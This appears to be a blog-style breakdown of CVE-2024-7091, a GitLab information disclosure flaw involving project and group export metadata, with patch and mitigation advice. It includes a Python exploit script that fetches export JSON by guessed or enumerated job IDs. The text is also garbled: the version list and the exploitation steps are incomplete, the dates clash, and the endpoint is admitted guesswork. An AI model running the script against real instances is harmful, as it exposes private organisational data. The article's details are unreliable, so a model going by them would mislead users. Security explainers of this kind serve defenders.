On June 27, 2024, GitLab published a critical security advisory describing CVE-2024-7091: an information disclosure vulnerability affecting multiple versions of GitLab Community Edition (CE) and Enterprise Edition (EE). This vulnerability made it possible for unauthorized users to access limited information about exported groups or projects, potentially leading to unintended data exposure.

This article offers an exclusive, easy-to-understand breakdown of CVE-2024-7091, including version details, exploitation steps, example code, and how to stay safe.

17.2.x before 17.2.1

If your instance runs these versions, you are *vulnerable*.

What’s the Problem?

When a user exported a GitLab group or project (for migration or backup), some leftover export artifacts (such as JSON files and archives) were not properly restricted. If another user knew or guessed the export's path or ID, they could access certain info *even without permission*.

In essence, users may learn about resources or metadata from private groups/projects they shouldn’t see—such as project names, structure, or even contributor names. The leaked data is considered "limited," but it's still a privacy concern, especially in enterprise or regulated environments.

The GitLab server saves this export under a predictable path or with an ID.

3. User B (with an account on the same GitLab instance) sends an HTTP request for that export's metadata or attempts to fetch the file.

What Leaks?

The actual leak may *not* be the downloadable archive itself (e.g., group_export.tar.gz), but metadata files like a manifest or status JSON (e.g., exports/12345/group_export.json). These files often contain:

- Project/Group name

Why Is This Dangerous?

While this isn’t a full data breach, it exposes organizational structure, internal project names, or contributor details subverting business confidentiality.

Example Exploit (Code Snippet)

Here’s a practical, basic exploit using Python and requests. This demonstrates how a curious user could pull JSON metadata:

import requests

# Replace with target GitLab instance
BASE_URL = "https://gitlab.example.com";

# Session auth (user B's token)
PRIVATE_TOKEN = "YOUR_GITLAB_TOKEN_HERE"

# Guess or enumerate export job ID
EXPORT_JOB_ID = "12345"

# Project or group export metadata endpoint (example pattern, may vary by setup)
url = f"{BASE_URL}/uploads/-/system/group/export/{EXPORT_JOB_ID}/group_export.json"

headers = {
    "PRIVATE-TOKEN": PRIVATE_TOKEN,
}

resp = requests.get(url, headers=headers)

if resp.status_code == 200:
    print("Exposed Metadata:")
    print(resp.text)
else:
    print(f"Failed. Status: {resp.status_code}")

*Note: Paths and endpoint patterns may differ depending on the GitLab configuration. Attackers may enumerate IDs or use brute force to find exported files.*

If running 17.2.x, upgrade to at least 17.2.1

*Official Upgrade Instructions:* GitLab Upgrade Docs

You can also delete old exports and restrict user access to limit exposure as a stopgap.

References & Resources

- GitLab Security Advisory for CVE-2024-7091
- NVD entry for CVE-2024-7091
- How to Upgrade GitLab
- GitLab Export/Import Documentation

Closing Advice

Always keep your GitLab up-to-date and regularly audit user permissions. CVE-2024-7091 demonstrates how small misconfigurations can cascade into information leaks—even without an obvious breach.

If you're responsible for a self-hosted GitLab or manage sensitive repos, check your logs for unexpected export file requests and consider purging old exports. The fix is available—don’t delay!

Stay safe and keep your secrets where they belong!

Timeline

Published on: 07/24/2024 23:15:10 UTC
Last modified on: 07/25/2024 15:03:32 UTC